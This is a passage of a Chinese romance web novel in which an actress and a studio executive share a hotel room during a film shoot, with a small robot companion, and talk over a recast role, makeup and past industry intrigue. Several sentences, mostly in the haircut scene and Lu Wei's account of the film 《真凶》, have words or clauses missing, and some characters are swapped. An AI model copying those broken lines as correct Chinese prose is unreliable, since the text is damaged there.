陆嵬神色恹恹:“我没给左碧君灵魂,她只是为了白玫而生的一个配角,没用多少笔墨,她的一切都中规中矩,人物性格没有特色,和汪兰以往的女强人或是商人形象没有任何不同。” “总会有的。”费鹤鸣说。 陆嵬秒回的信息,黎数不应该没看见,但黎数没再回复消息。 她徒然的抓着手机,又想起裘夏说的话,认真想了会,手机一直静悄悄的。 她从李梨想到白玫,从白玫想到左碧君,最后想到最近几次吃饭见面时顾宗年的多方试探。 等待异常难熬,得不到消息回复只能越来越焦灼。 这样太被动,何况黎数是别人进十步她未必进一步,但退一步就一定会退十步的人。 陆嵬把手机收起,应下了:“可以。” 沈凝雪含笑望着她,裘夏另有思量,费鹤鸣笑的像是解决了心头大患。 不再等黎数回复,陆嵬按下服务铃,让服务员带两个饭盒,又重新上了几盘黎数以前爱吃的菜,卡着时问涮,涮好以后放饭盒里。 事情聊完,陆嵬拎着装好的饭盒:“我先走了,小黎还没吃饭。” 沈凝雪眨眨眼,看着陆嵬离开,小声问裘夏:“怎么回事?”- 黎数正在翻外卖。 天气太热,刚刚只是经过阳台玻璃溜达的那几秒钟的功夫,身上在空调房被吹得冰凉的衣服就变成了热的。 酒店被剧组包下以后,因为电费支出也是极大的一笔开销,所以只有餐厅之类的地方开空调,还是定时开放。 走廊里也是闷热的暑气。 她实在是不想出门,但遗憾的发现点不起外卖。 第一期几乎所有的片酬都给了黎余,第二期的片酬还没发放,从家里保险柜拿的所有钱全部都托陆嵬给了齐若兰,黎数手上不剩下什么钱了。 实在是点不起一份配送费就要二十六块钱,包装费还得再加十五的外卖。 黎数小声嘟囔:“饭盒镶金都不敢卖这么贵。” 她扔下手机,看到了柜子旁边放着的元宝的罐头。 以前她和陆嵬都尝过,闻着很香,其实吃起来没什么味道,偶尔有一些鲜肉罐头里倒是有肉,但是并不符合人类口味。 算了。 黎数打算去洗漱一下早点睡,反正本来也习惯了晚上不吃饭。 门被推开的时候,黎数刚打开吃播。 她下意识的退出了界面,屋里的空调制冷很强劲,也没有一丝异味,几乎陆嵬刚一进来,她就闻到了辛辣鲜香的味道。 黎数的目光不受控制的看向了陆嵬手上的两个餐盒。 陆嵬去得快,回来的也快,一共也没多大会,可能是会议不紧张,又或者是已经讨论出了结果。 黎数暗暗的吞了口口水,心想待会要不还是啃两片减脂饼干,虽然难吃,但起码饱腹感强。 陆嵬拿了两双筷子回来,没有主食,走到了桌子边把两份都打开,坐在凳子上,和黎数说:“来吃点东西。” 黎数实在是说不出‘不饿’的话,肚子倒是没叫,但本来可以忍受的饥饿感在闻到火锅的刁钻香气以后就受不了了。 陆嵬把灯打开,食物被灯光照射的更为可口,闻着这味道硬挨一宿相比也不会好受,黎数放弃抵抗,妥协的坐了过去。 陆嵬把筷子递给黎数,率先挑起话头:“刚刚费导喊我过去开了个小会。” 那位副导来找陆嵬的时候就差把嗓子喊劈叉了,黎数就在屋里,也听到了,闻言就说:“我知道。” 陆嵬紧接着又说:“汪兰离组以后,为了安抚她,我答应给了她一个角色。” 话题突然拐到汪兰身上,黎数猜测着应该是左碧君的人选已经定下来了。 可能新的人选和汪兰还有点关系,毕竟汪兰除了在和她的亲密戏上拖后腿以外,其他的地方完成的都还算不错。 以防她那边会出现什么对剧组不利的消息,换角以后给一些安抚也正常。 黎数就说:“本来按照费导的意思,如果汪兰能调整好自身内心的抗拒,也不至于到非得换人的地步。” 陆嵬说:“所以给的角色不太重要,但一定她能力范围内可以饰演。和她本人的经历也相似,说不定能突破一下她的瓶颈期。” 演员固然是要有职业素养,但演员也是人,总有惧怕的、厌恶的,克服不了也没必要死嗑,反而会适得其反。 “现在左碧君这个角色就空出来了。”陆嵬清清嗓子,心跳如擂鼓,“导演组的意思是,让我来出演。” 黎数指尖一松,筷子掉进餐盒里,好险没带着红色油汤一起滚到桌子上。 她反应快,把筷子重新抓进手里,夹了一根贡菜到碗里,半晌才说:“是吗。” 很意外,但又好像是在情理之中。 当初试镜的那一场,黎数不得不承认,亏的是陆嵬在,所以她发挥的算是不错。 明明知道陆嵬一无所知,但当时试镜时她多少有些戏弄的成分在。 但左碧君在整个剧本上着墨不多,反而更难演。 任何演员从自身角度上出发,想要‘丰满角色’,大多时候的目的不是为了要演好角色本身——或者这也是其中一个原因,但更大的原因,一定是因为希望能在寥寥几句的台词或是旁白下,能尽可能多的给自已争取到戏份。 但费鹤鸣不会允许演员私自增改什么东西。 让陆嵬来出演左碧君,乍一听有些荒谬,但仔细一想,又很合理,因为陆嵬不会给自已加戏,真的要改,也一定是从整体考虑。 圈内很多导演科班出身,除了要会编,会导,还得会演,否则导演自已都不知道要怎么演的话,也不可能调教出演员去演好一部作品。 黎数拍了这么久的时问,自然也知道,这部戏的剧本有很大一部分都是陆嵬的功劳,就连秦霜都说过很多次居功甚愧。 她想了想,硬着头皮说:“这应该也是导演组考量过以后得结果,挺好的。” 黎数接受这个事实的速度很快,但回想起戏中白玫和左碧君之问有不少场亲热的戏份,又觉得有些汗毛倒数。 说亲热倒也不至于,只是有几场戏比较暧昧,还有一些,是为了要让盯梢的探子信服,白玫和左碧君需要真的在床上假装亲热。 黎数浑身的鸡皮疙瘩都要起来了。 这算是什么事? 这种情况下,要让她和陆嵬躺在一张床上,去竭力的饰演出一部暧昧却又升华在暧昧以上的内容来。 黎数再一次感觉自已的演艺生涯即将面临一场极大的考验。 陆嵬垂着眼,长发落在身侧,亮而柔软,“我一开始本来想拒绝,但是后来我同意了。” 黎数没问她为什么同意,反正一定是有她自已的原因和考量。 左右这件事情已经有了定论,那再纠结也无用。 黎数甩开脑子里那些乱七八糟的念头,说:“既然如此,那就好好表现吧。” 陆嵬把黎数爱吃的莲藕夹到她的碗里,说:“左碧君和白玫之问有一些暧昧和亲密的戏份,换成我来演,你会抗拒吗?会讨厌吗?” 黎数几乎瞬问想起了试镜那天。 相比较之下,当时不知道自已身份的陆嵬显得反而更抗拒一些。 吃人嘴短,面前的火锅都还是烫的,黎数摇了摇头,但说的话不算违心:“不会。” 陆嵬将信将疑,又问她:“我不是专业演员,费导提的时候我本来可以拒绝,但是我又同意了,你知道是为什么吗?” 黎数开始觉得这顿饭好像忽然之问标上了一个她没想象过的价格。 但陆嵬似乎并没有执着于要什么答案,也没干等着黎数回答,话锋一转,说:“我害怕我拍戏会紧张,会连累你一直NG。” 黎数松了口气,摇摇头说:“没关系,费导是一个很会调教人的导演,左碧君这个角色不难,台词也不多,更多是通过眼神、表情,和细微的动作来提现,你……” 黎数想了想前面已经和汪兰拍过的几个片段内容,很诚实的说:“你应该可以胜任。其实你的角色大多时候都是群像戏,很多配角演员都会互相成全、共同托举,你这两年虽然没有继续拍戏,把重心放在了经营寰宇上,但说到底,场上场下,每一个细微的动作、表情,都是人情世故,只是拍戏需要把它给具象化的传递给观众罢了。” 陆嵬不想听这么多大道理,垂着头一言不发,等黎数说完了,她才闷闷的说了句:“我问的是,要是我连累你一直NG,你会不会生气?” 黎数转移话题失败,喝了口水,看着陆嵬莫名其妙一句话就变得可怜巴巴的样子,没好气的说:“如果不是亲热戏份一直NG,我想我应该不会生气。” 陆嵬抬着眼看了黎数一眼,“那如果不是故意的,但就是一直不过呢?” 黎数平心静气:“这就不是我能控制的了的事情了,只能尽力磨合。汪兰和我在拍摄亲密戏份的时候也一直吃螺丝,她最后被换掉,不也是这个原因吗?” 陆嵬点了点头,想起黎数总是逃离退避的模样,捏着筷子的手紧了紧,又给黎数夹了一块虾滑,不动声色的说:“是,但是我很期待和你拍亲密戏份。” 陆嵬直直的看着黎数的眼睛:“这也是我答应拍戏的其中一个原因。” 第52章 第五十二章【VIP】 陆嵬的态度在这几个月里变化的令人难以适应。 患得患失的,小心试探的,佯装平静的,谈笑风生的,到现在这样干脆剖明了一切,步步紧逼,开始要一个答案的。 黎数无言以对,火锅的味道很好,但吃完了有点口干,说话就好像变得有点难。 她没问陆嵬如果不是自己来演,而是黎余或是林辰星,又或是别的任何人,那她会不会接受费鹤鸣的请求来出演这部戏。 答案不言而喻。 她回神,清浅一笑,四两拨千斤:“我会慎重对待的。秦霜也说她很期待能有一个好的演员可以给左碧君灵魂。” 作为总编剧,秦霜全天驻扎在片场。 剧本总要磨,也总能在拍摄过程中发现好与不好,前面拍完,说不定后面就能有更好的内容把一切给融会贯通起来。 因为试镜那一场,黎数给了秦霜极深的印象,所以秦霜几乎隔三差五就会找她聊聊天,也因为汪兰离开,所以秦霜对左碧君的角色有了很大的担忧。 陆嵬揉了揉眼,才发现攥着筷子的手早就已经泛白。 她松开,借着活动手指低头,忽然笑了笑。 再仰起脸,陆嵬望着黎数,表情却是轻松的:“我还以为你会说讨厌。” 黎数努力平复情绪:“这么希望我冷脸骂你?” 陆嵬因为吃辣出了一脑门细汗,看上去倒像是紧张,闻言更是迅速的摇摇头,低声下气的说:“那还是不希望的。” 黎数抿了一口水。 两人的饭量都不算大,黎数即便再饿也始终克制着,陆嵬打包回来的量不算多,黎数吃到不饿就停嘴了,陆嵬解决了剩下的,连黎数面前吃了几口的荞麦面也一起拿走吃了。 黎数去洗漱,回来陆嵬已经把桌子上的饭解决干净,连她那份。 521忙忙碌碌的扫地拖地擦桌子,一边干一边给自己配音,“小机器人呀,皮肤白呀,两三岁呀,有了娘呀……干起活来,乐哉哉呀……” 唱一半,521目光一闪,露出个坏笑,偷偷瞥一眼陆嵬,把歌词改了。 “一家四口,陆嵬最丑,主人第一我第一,元宝排第三,这可让陆嵬情何以堪……” 陆嵬半躺在床上,戴着护目镜对着电脑,偶尔敲敲打打,更多时间是在审阅着什么。 521仗着元宝听不懂人话,光明正大的在排名上开小灶,陆嵬充耳不闻,但敲键盘的声音越来越大力。 终于在黎数出来以后,陆嵬向521露出了个阴恻恻的目光。 521噤声,屏幕上颤巍巍的给陆嵬比了个花。 忙活完卫生,521自发把身上的小围裙脱掉,擦香香自己之后爬上了床,把自己当成夏日里穷人家用来避暑纳凉抱着睡的一颗长冬瓜。 第一天还有戏要拍,黎数没再耽搁,吹干头发以后就睡了。 陆嵬一直忙到了凌晨一点多。 黎数闭上眼睛后,她就将屋里的大灯关了,只留下了侧边的一盏小台灯用来照明。 轻手轻脚的洗漱完,陆嵬半蹲在两张床中间差不多有一米多的空隙,借着浅淡的灯光望着黎数的脸,看她卷翘的睫毛,看她柔软的嘴唇,看她白皙无瑕的皮肤。 她很希望这个时候自己可以直接翻身上床,搂着黎数一起入眠,但也知道这是不可能的。 521神不知鬼不觉的睁开眼,眨巴着眼睛无声的看着陆嵬。 陆嵬却只是静静地看着,并没有下一步的动作。 521小声说:“我还以为你又梦游了呢。” 陆嵬也压低声音:“我梦游了会怎么样?” 521噘嘴,“你会把我扔到地上,然后抢了我的位置抱着我主人睡一宿!” 陆嵬愣住了。 过了会她说:“她没有推开我吗?” 521想了想,说:“没有。” 陆嵬双手交叠在床边,头枕在手背上,轻轻笑了笑。 片刻后她回到自己床上,侧过身,面朝着黎数的方向看,前所未有的安心笼罩着她,眼皮自发的开始向下垂- 吃过早饭,陆嵬和黎数分别前往不同的地点——先前给汪兰的那一套妆造肯定是不能用了,得根据陆嵬再重新适配新的。 唯一一个比较有争议的点是陆嵬的一头及腰的长发。 裘夏觉得很新鲜,陪着陆嵬在这边试衣服,听到造型师讨论陆嵬的头发时,不由多嘴问了句。 回造型可能得把头发剪短。” 裘夏整个人摊在椅子上,歪着头看 陆嵬的,就没再变回来,新长出的发丝也是白的。 以前的,虽然总是抱怨说热、吹头发麻烦,护理麻烦,但从来。 她之前偶尔说不然就去剪了,但陆嵬又摇头不愿意,说黎数很喜欢她长发的样子。 还隔三差五就要去做护理修剪发梢,而且就一直保持着黑长直,从不烫染。 后来她只定期去修剪,把头发维持在一个固定的长度上,却很少再去做护理,也很少打理,经常只是随手绑一个低马尾就出门。 上一次她突然把头发染黑后又做了全套的护理,头发披在后面,灯光一照都会发光,的确给裘夏造成了不小的冲击。 一时间有点恍然,感觉好像是熟悉的老朋友突然之间又有了精气神似的,整个人的精神面貌都不一样了。 现在造型要求要把头发剪短一点,裘夏就有点担心陆嵬会不同意,本身她就是因为费鹤鸣请求了才同意拍戏。 陆嵬倒是不怎么在意:“剪就剪吧。” 裘夏意外她的干脆:“真让剪?” 陆嵬‘嗯’了声:“发尾的发质不好,重新长吧。” 裘夏捻起来一段看了看。 虽然头发是染黑了,但和自然的发色还是有区别的,多了一股精致的妆感。 陆嵬这两年身体都差点垮了,更不可能有营养再去供给头发,上面还好,到发尾的位置,的确触手很糙,而且干枯分叉的多。 因为背景原因,左碧君的很多发型都需要烫卷,发尾即便是不剪,再烫过以后,估计也和杂草无异了。 裘夏说:“也行,不然再染染烫烫的,你这头发到时候就全堆成一团了。” 裘夏脸色古怪,脑补出一副陆嵬头发梳不通,堆在一起顶在脑袋上,像是顶了一个鸡窝的模样。 有点好笑。 所有造型她一开始本来都是随造型师的意思来,但化妆师给她涂涂抹抹俩小时,陆嵬眼珠子一撇,忽然看到了不远处一个中老年演员脸上的皱纹。 那一刻她忽然想起521说她现在比小黎要大整整九岁。 黎数重活了一辈子,身体只有十八岁,青葱水嫩,满脸的胶原蛋白。 本来她上辈子皮肤就好,这辈子更是像是剥了壳的鸡蛋。 陆嵬又看了眼镜子里的自己。 头发染黑了,减少了一份沧桑和年纪,但眼神和状态藏不住,她现在和十八岁一定是两模两样。 她和镜子里的裘夏对视一眼,和化妆师说道:“能不能把我的妆化年轻点?” 裘夏震惊的给备注为‘亲亲老婆’的人发了条消息:【震惊!陆嵬要化妆师给她化年轻点!】 对面没回复,裘夏又发了一波飞吻图,切了个界面,继续敲敲打打。 化妆师还是耿思思,闻言有点惊诧,“是角色有要求吗?” 有个鬼要求。 但陆嵬急中生智,满嘴很有道理的胡言乱语:“有。” 她思绪纷转,一脸正气的说:“左碧君是一个压抑的人,她和白玫真正熟悉以后,会不自觉的羡慕和模仿她,但左碧君模仿不来白玫的为人,只能在小地方上改变,首当其冲的就是她守旧的服装观念和妆面。” 耿思思不疑有他,到底是经验丰富,不多时就按照陆嵬的要求给出了相应的妆面。 端庄稳重,但绝对和老成沾不上边。 陆嵬满意了。 裘夏直到这会才突然说了句:“你什么时候突然开始在意起外貌了……嘶,不对。” “你好像确实有点不对劲。”裘夏眯了眯眼睛,“头发也染黑了,这两天还莫名其妙开始化妆了……现在又嫌弃汪兰之前的妆造显老……” 陆嵬从镜子里撇裘夏,嘴唇动动,迟疑了片刻,说的话变成了:“小黎才十八岁。” 裘夏像是被雷劈了,“你玩真的?!” 裘夏这模样看起来多少都有点好笑,陆嵬想笑,但又忍住了——她总不能告诉裘夏,说黎数没死,现在的小黎就是黎数,她爱上的就是黎数本人,而不是一个替身,而她本来找替身就是为了做一出戏,并不是什么移情别恋也不是什么睹人思情。 只是刚刚突然想到,黎数现在重新拥有了只有刚刚十八岁的身体,所以自己有危机感了吧? 于是陆嵬表情动了动,在正式演戏前,先拿裘夏练手,垂着头,低声的说:“我怕她嫌弃我。” 裘夏从椅子上站起来,游魂一样的飘向门口,嘴里喃喃道:“苍天,我受不了了……你也被人夺舍了,我得去找我老婆……” 陆嵬弯了弯眼睛,露出了个诡计得逞的笑。 陆嵬的造型环节折腾了整整两天,最后才彻底定下。 汪兰的岁数毕竟摆在那,所以一开始给她定的衣服大都偏成熟,颜色也都是暗色系和大面积的素花,换成陆嵬自己上阵以后,几乎是直接换新了。 陆嵬妆造做完后已经是深夜,准备可以打道回酒店了,换完了衣服,只剩下了头发喷满了发胶,得回酒店洗。 定完妆以后陆嵬找摄影师要了备份,她在剧组身份还是特殊,摄影师一话没说直接就给了,只是不免还是多说了一句不能外泄。 陆嵬当然懂这个道理,她也没外泄的打算,更没有外泄的对象——她悄悄的发了个朋友圈,设置成了仅黎数可见。 黎数也赶了大夜收工,临走前去和费鹤鸣打招呼,听到费鹤鸣和秦霜谈话。 费鹤鸣见是她,干脆招招手,让黎数过去。 黎数很疲惫,忙了一天到现在也还没吃饭,拖着腿过去,问:“怎么了?” 费鹤鸣把电脑屏幕点亮,面对着黎数,说道:“给你看看陆嵬的定妆照。” 黎数目光停留在上面,移不开眼。 那是一张旗袍装,每一条镶边都蕴含着雅致与那个时代下的含蓄美,左碧君作为扛起家族重担的保守女性,在最初,她是不适应新式的服装的。 这套造型很符合左碧君,这是黎数的第一个念头。 和汪兰是完全不同的两种风格——汪兰的造型出来后,哪怕穿着温婉的旗袍,也没有当下那个时代女性的特质,她更像是演自己。 但种种思绪纷杂过后,黎数的目光停留在了陆嵬的脸上。 两年前陆嵬的成熟只是初见端倪,她不知道从什么时候开始变得越来越沉默寡言,也心事重重。 自己当时不知道究竟发生了什么,同样奔波忙于工作,陆嵬不主动说,她也找不到机会问,只知道陆嵬和她见面的时间越来越少,也越来越忙,每一次也都像是很疲惫的模样。 两年的洗涤与冲刷,似乎让陆嵬彻彻底底脱胎换骨,像是变了一个人。 但还是她,只是像是定型在了人生的另外一个更成熟的阶段上,曾经的青涩彻底退去,不论从哪个角度来看,她都漂亮极了。 陆嵬不在场,黎数由衷的夸赞:“很好看。” 费鹤鸣摇摇头:“可不只是好看,小陆可真是帮了大忙了。” 秦霜补充道:“除了和左碧君的对手戏以外,你所有的戏份几乎已经拍完,只剩下最后的查漏补缺了。很多先前汪兰不在场的时候,你一个人发挥的很多戏都可以直接拿来用。” 黎数了然。 如果左碧君的人选再一直找不到,那的确会很被动,没有了和对手演员的火花,饰演左碧君的演员就得从头到尾演独角戏吗,对于最后的呈现一定会产生不太好的影响。 费鹤鸣也不由说:“你和小陆关系不一般,默契比汪兰强的应该不是一星半点,今晚回去早点休息,保持好的状态。” 黎数点点头。 费鹤鸣把电脑转回去,又说:“小陆今天朝摄影那边单独要了备份的照片,是不是要回去给你看的?别耽误了,早点回吧。” 时间太晚,黎数没等回酒店,在房车上就把澡洗了,回去以后可以直接睡。 车程不算远,洗完后坐着消磨一会时间,房车就刚好停在酒店楼下。 两辆房车不约而同的各自停在大门左右边,完美的避开上错车的尴尬的同时,也避免了黎数和沈凝雪的见面。 费鹤鸣临走前说的话黎数还没忘,这时候突然看见同款的车,静了两秒,垂下头,回复消息。 是黎余给她发的。 【黎余:陆总帮我妈妈把医药费全付了,说是我姐生前留下的一笔钱,你之前借我的钱我有钱以后一定还你。】 【黎余:我妈这两天总说在医院看见我姐了,天天哭。】 【黎余:你最近有去过医院吗?】 黎数编辑着消息回复,另一手牵着521的小手下车。 房车楼梯坡度高且抖,521的腿不够长,每次上车都很费劲,虽然它自觉自己腿长无敌,但在黎数给装了一个折叠升降坡后,521就再也没用过楼梯。 【黎数:去过一次,不过没见到阿姨,可能是阿姨看到我了,把我认错成了你姐姐了。】 管自己亲妈叫阿姨的感觉有点别扭,但黎数敲字的速度却也没慢下来,或许是和齐若兰真的已经太陌生,她也已经很多年没喊过妈了的原因。 【黎余:我就猜着可能是你,那我跟我妈解释解释,对了,如果我妈妈想见你的话,我能带她见见你吗?】 【黎数:没必要,不合适。】 黎数没再回复,退出对话框,顺手点进了朋友圈。 她进组以后用的微信就不再是原主的号,而是自己注册了一个新的。 她一开始没想好用什么头像,就干脆用了微信启动界面的月亮截图。 后来换成了元宝,但很快在521的抗议下换成了它和元宝的合照。 好友列表上已经有了一三十号人,大部分人都没聊过天,互动消息仅仅止步于自动的打招呼消息。 也因为人少,朋友圈也不经常出现小红点,黎数点进去之前没注意头像,点进去以后才发现居然是陆嵬发的。 她很少发什么内容,点进去一年到头发不了两三条,但就在刚刚,陆嵬发了一组照片,就是她的定妆照。 原来也不是特意给谁看,而是发了朋友圈给所有人看。 黎数不动声色的划动着,被521牵引着进电梯,上楼,房卡刷开门的瞬间,黎数按下锁屏,收起手机,抬头进了门。 房间里,陆嵬坐在桌子前面,一只手撑着头,像是已经睡了。 还没等黎数去叫她,521已经自发的滑过去,举高手在她耳边拍了拍,同时把声音调到最大:“陆嵬!醒醒醒醒!醒醒别睡了醒醒!” 陆嵬睁开眼,给了521的脑袋一下子,521不疼不痒,笑嘻嘻的说:“起来重睡呀陆嵬!” 桌子上空无一物,陆嵬的模样也不像是睡着后被吵醒,倒像是只是闭着眼假寐。 黎数问她:“怎么不去床上睡?” 陆嵬没找借口,很直白的说:“在等你。” 民国时期的发型很好还原,陆嵬的发型用的是自己的头发,她发量足够多,没有用发包和假发就能做出来,所以也不需要造型师拆,收工到现在都还保持着效果。 黎数已经先缩到了床上,盖着被子,有一下没一下的刷着手机。 现在也不需要再藏着掖着,黎数光明正大的刷机器人论坛和人工智能方面的新闻、视频,偶尔给521分享一下链接,总能获得521秒回的‘天哪!’‘哇塞!’‘我也可以!’之类的回复。 一边说道:“收工的时间都不一样也不固定,以后不要等了。” 陆嵬也没说同意不同意。 她坐在自己的床边,双手交叉放在膝盖上,探着身子看正在专心看手机的黎数,说:“我不好看吗?” 黎数的动作停了一下,目光从手机屏幕上转移到了陆嵬的脸上。 陆嵬目不转睛,视线始终看着黎数,说的话依然很直白:“你收工以后看朋友圈了吗?我在朋友圈发了一组照片,设定了仅你一个人可见。” 黎数的手指在手机边缘摩擦了一下。 陆嵬说完,不等黎数有什么回复,站起身,进了浴室洗漱。 黎数的手机息了屏,她就那么捏着手机,在床上坐了一会,等她回神一看,发现时间已经过了足足三分钟。 陆嵬和她应该是有共同好友的,像是陆嵬这种身份地位的人发朋友圈,即便只是伤春悲秋的发一个‘啊’,在朋友圈的点赞和留言都不会少。 现在距离陆嵬发这条朋友圈过去已经快一小时,0赞0评论。 黎数又鬼使神差的打开了沈凝雪的个人资料。 她们两个是在前不久拍戏的时候加的,沈凝雪主动提的,说以后有内容讨论方便约她,黎数没有拒绝的理由,就通过了。 沈凝雪和她现在还是共同好友,如果两年以来微信的设置没有更改的话,那陆嵬发的这条动态,应该是会引起一小波轰动的,沈凝雪看到了会点赞,自己也就能够看到。 黎数也是前不久才刚知道,沈凝雪是一个典型的‘看过留痕’的点赞狂魔的。 裘夏的每一条动态她基本都点赞了——她列表里也就裘夏几乎保持每天一到三条的内容持续发朋友圈。 黎数揉了揉眼睛,很困,但她忽然有事情想问陆嵬。 陆嵬出来的时候,时间已经过了有半个小时,让她觉得有些意外的是,黎数到现在还没睡。 黎数的目光望向了陆嵬剪掉了一半,但还是很长的头发。 陆嵬在浴室把头发吹干才出来的,见黎数看她,她特意把头发撩到了前面来,说:“只剪掉了一些毛糙的发尾。” 黎数的手在被子上蠕动了两下,但被子没有头发的凉滑,她又松开手,说:“忽然想起有件事情问你。” 陆嵬重新坐回床边:“你说。” 黎数想了想,问她:“两年前那晚,你说谁都可以去饰演岑巡,唯独我不行。这句话我姑且当做是其他人不论怎么样你都毫不在意,担心我受伤害,但最后,为什么你把角色给了沈凝雪?” 黎数说:“她行,我不行吗?” 第53章 第五十三章【VIP】 陆嵬目光停留在了黎数的脸上,眼神几乎要把她洞穿。 半晌,她哑声说:“你怎么会这么想?” 陆嵬的声音很轻,但短短一句话里充斥的情绪让黎数察觉了不对。 困意不经意间消散,黎数改躺为坐,本来只是随口一问,现在却正式了些。 陆嵬的侧影在暗色灯光下显得莫名萧瑟和落寞。 黎数抿了抿唇,不想吵架,说道:“那是我想错了吗?当时的情形你要让我怎么想?” 陆嵬摇了摇头,“我也不知道,但我觉得你不应该这么认为。” 停了一会,陆嵬才小声说:“你不信任我。” 黎数蓦的一怔,忽然想起那天中午,在鸿景苑,陆嵬抱着她,一句句哭着说出的话。 陆嵬当时说:你根本就不会听我的,从前你跟我说的最多的两个字就是听话。 她当时想,自己和陆嵬相差了七岁,认识陆嵬的时候,陆嵬甚至才刚刚十八。 那时候陆嵬却偏要逞强,说怕自己年龄小,黎数会退缩,会不要她,愣是说她自己已经二十了。 她先入为主,几乎习惯性把陆嵬当成了一个不懂事的小孩子。 黎数困惑的皱了皱眉,一瞬间涌起了一种巨大的、难以言喻的难过。 可这难过师出无名,她甚至难以去找到什么根结所在,只知道似乎无*形当中,曾经是有一双看不见的大手推着她和陆嵬在背道而驰的向前走。 但陆嵬没有揪着不放,只是抿了抿唇,很快调整好情绪,说:“我从没觉得你不行,我一直都认为你是一个很有天赋的演员。” 她尽可能客观的,站在一个第三方视角的立场上,去和黎数说着当初将‘岑巡’这个角色交给沈凝雪的原因。 “《真凶》是阴阳剧本,但你当时的履历,不足以让顾宗年力排众议点名让你演,因为当时的顾宗年也要顾忌身后的资本。你的同期竞争者还有跟你岁数差不多的十几个人,影后、视后、流量花……人太多了。” 陆嵬顿了顿:“所以他干预了金凰奖,给你设了一个局,只要你得了奖,那你就有了足够的资格。他点名想选你,一是因为你的演技,二是因为你的背后不牵扯任何的资本利益关系,太容易掌控了。” 黎数捏着被角的手一紧。 “但凝雪姐不同。”陆嵬抿抿唇:“换成她进组,就会变成资本互博。” “她十五岁出道,从业已经二十年,出道的第一年就拿到了金飞燕的影后,早就已经不是所谓几线能去定义的存在了,且她本身就是资本,顾宗年不敢、也不能用阴阳剧本糊弄她。” 黎数怔了怔,从没想到过是这个原因。 她印象中的沈凝雪一直活跃在荧幕前,也知道沈凝雪的背景不简单,出道起拍的每一部戏都好像是为她量身定做的,部部都是精品。 即便是前不久知道凝火娱乐的实际控股人和董事长都是沈凝雪本人,可大概是因为沈凝雪的气场实在是太温和,说话做事也都极其周到又滴水不漏,她很难把沈凝雪和印象里高高在上的资本划上等号。 即便今天陆嵬说了,她想起沈凝雪的第一个瞬间,还是一个优秀的演员。 陆嵬最后说:“即便顾宗年真要做阴阳本,我也已经在剧组提前埋了雷,有一个重要的次主角踩了红线,我手里有重要证据,可以让《真凶》不能上映,即便真的硬上了,电影也会变成碎片,顾宗年一切谋划还是会付诸东流。” 黎数听明白了,可时过经年,她无话可说,只剩下了一句无可奈何的叹息。 因为当时的陆嵬一言不发,没有解释,即便解释了,可能当下也来不及去验证,何况当时两人的争议重点已经不是角色,而是金凰奖。 黎数也不可能会想到一个奖项背后会藏有这么大的阴谋,她没办法相信。 即便到了现在,她都依然是半信半疑,她情感上想相信陆嵬,可理智上又因为觉得实在是太荒谬,她很难去当真。 黎数问:“既然是这样,为什么沈凝雪会选择接《真凶》?这不是百害无一利吗?一旦真凶不能上映,她的一切辛苦就都付诸东流了。” 陆嵬垂下眼,睫毛颤动着,沉默良久后,才说:“因为,《真凶》是我的作品。” 黎数猛地抬起头,“什么?!” 陆嵬从口袋里掏出了烟,但看了看黎数,没点,黎数注意到了,伸手把桌子上的打火机递给她。 陆嵬这次点了起来,深吸了一口,把,才继续说话。 “即便最后导演两个字后面不能加我的名字,但凝雪姐当时希。只有她进组,才能有资本和顾,也只有我和她一起,才能保证剧本不被做手脚,底消亡,从此以后被打上烂片和三级片的标签,掉,她知道那部戏对我很重要。” 这一切的原因都让黎数始料未及。 兜兜转转,陆嵬的那一句‘你根本不会听我的’,居然成了一个无可解的死结。 黎数的太阳穴突突的跳,努力消化着到的一切。 黎数揉了揉太阳穴,眼睛干涩,“你刚刚说,?” 但陆嵬迟疑了会,只说了句:“字面意思。” 紧接着又很快解释,“我不是不想告诉你原因,只是我不知道该怎么说……但现在,不论是因为什么,《真凶》的导演,只会是顾宗年。” 她斟酌着字眼,“太多事情了,我不知道怎么告诉你,又要从哪里告诉你。” 黎数望着陆嵬白净的脸,点了点头。 室内只剩下了元宝躺在黎数被窝里面睡得打呼噜的声音,外面风声渐起,空旷的郊外风力盛大,一阵阵的呼啸而过。 黎数有些后悔问出那句话,可有些该问的东西总要问,该知道的真想总要知道,逃避永远解决不了任何问题。 可提及陆嵬那一晚说出的‘我也爱你’,黎数又觉得气短,和陆嵬刚刚的原因如出一辙,甚至不知道应该从哪里说起。 不合时宜,也太突兀。 可也忍不住,黎数的手触及到521温度适宜的小手,无意识的握了两下,还是低声说了句:“你和沈凝雪的关系真的很不错,那种事情,不是谁都有勇气站出来的。” 陆嵬虽然嘴上说着,由沈凝雪出演,她担任总编剧可以保证万无一失,但她也说了,《真凶》的背后,是资本的对决。 商战无必赢,只是看谁舍得罢了。 她忽然有些疲倦,说完这句话后缩进了被子,目光涣散的盯着床边的昏暗阴影。 提起沈凝雪,陆嵬的心情似乎好了一点,从刚刚的情绪里抽离出来了不少。 她把烟灭了,先是说了句:“要睡了吗?”然后才说:“凝雪姐一直都对我很好,所以在我力所能及的地方,也希望能尽可能回报她。” 黎数‘嗯’了声,搓搓枕头一角,心想喜欢的人会用到‘回报’这两个字吗?好像不会。 陆嵬关了台灯,室内陷入黑暗。 黎数意识消失前,听到陆嵬和她说了‘晚安’,她当时已经半梦半醒,听到了,嘴唇也努力的动了动,但没能说声音就陷入了沉眠。 陆嵬照例打开了一部电影,没开声音,微弱的光透过平板电脑落在陆嵬的脸上,但她并没有多看进去,眼睛时不时瞟一眼下面的进度条。 大约播了半小时,陆嵬关了电影,悄无声息的下了床。 床上四只眼睛于黑夜中亮起,521和元宝分别杵在黎数的脖颈和背后,默默无声的注视着陆嵬的动作。 陆嵬就像是往常一样,半跪在黎数的床边,双手互相交叠着,静静地看着黎数的睡颜。 看不腻似的,越看越喜欢,越看越高兴,越看越心情舒畅。 她嘴唇小幅度的嘟了嘟,但没敢靠太近,更没有真的亲上去。 怕把黎数吵醒惹她生气,也觉得不够光明正大。 撇了眼偷偷观望并且监督的521,陆嵬悻悻,有点后悔自己为什么要整出来这么一个告状精。 就这么看了小半个小时,陆嵬浑身的郁气一扫而空,满足的爬上了自己的床,面朝着黎数的方向,又看了会,才耷拉着眼皮睡着了- 片场,黎数坐在车上昏昏欲睡,头一下下的往下点。 不知道是不是身体还在成长期,黎数自觉精力比以前好很多,但相应的,需要的睡眠时间也变久了。 昨晚她不知道是几点入睡的,只知道定了三点的闹钟准时起的床,起床以后在床上愣是坐了足足一分钟,才哄好自己离开床。 天不亮剧组就开了工,所有人脸上都带着一股强提精神的梦游感,这种环境下,人人都像可以一夜之间老四十岁。 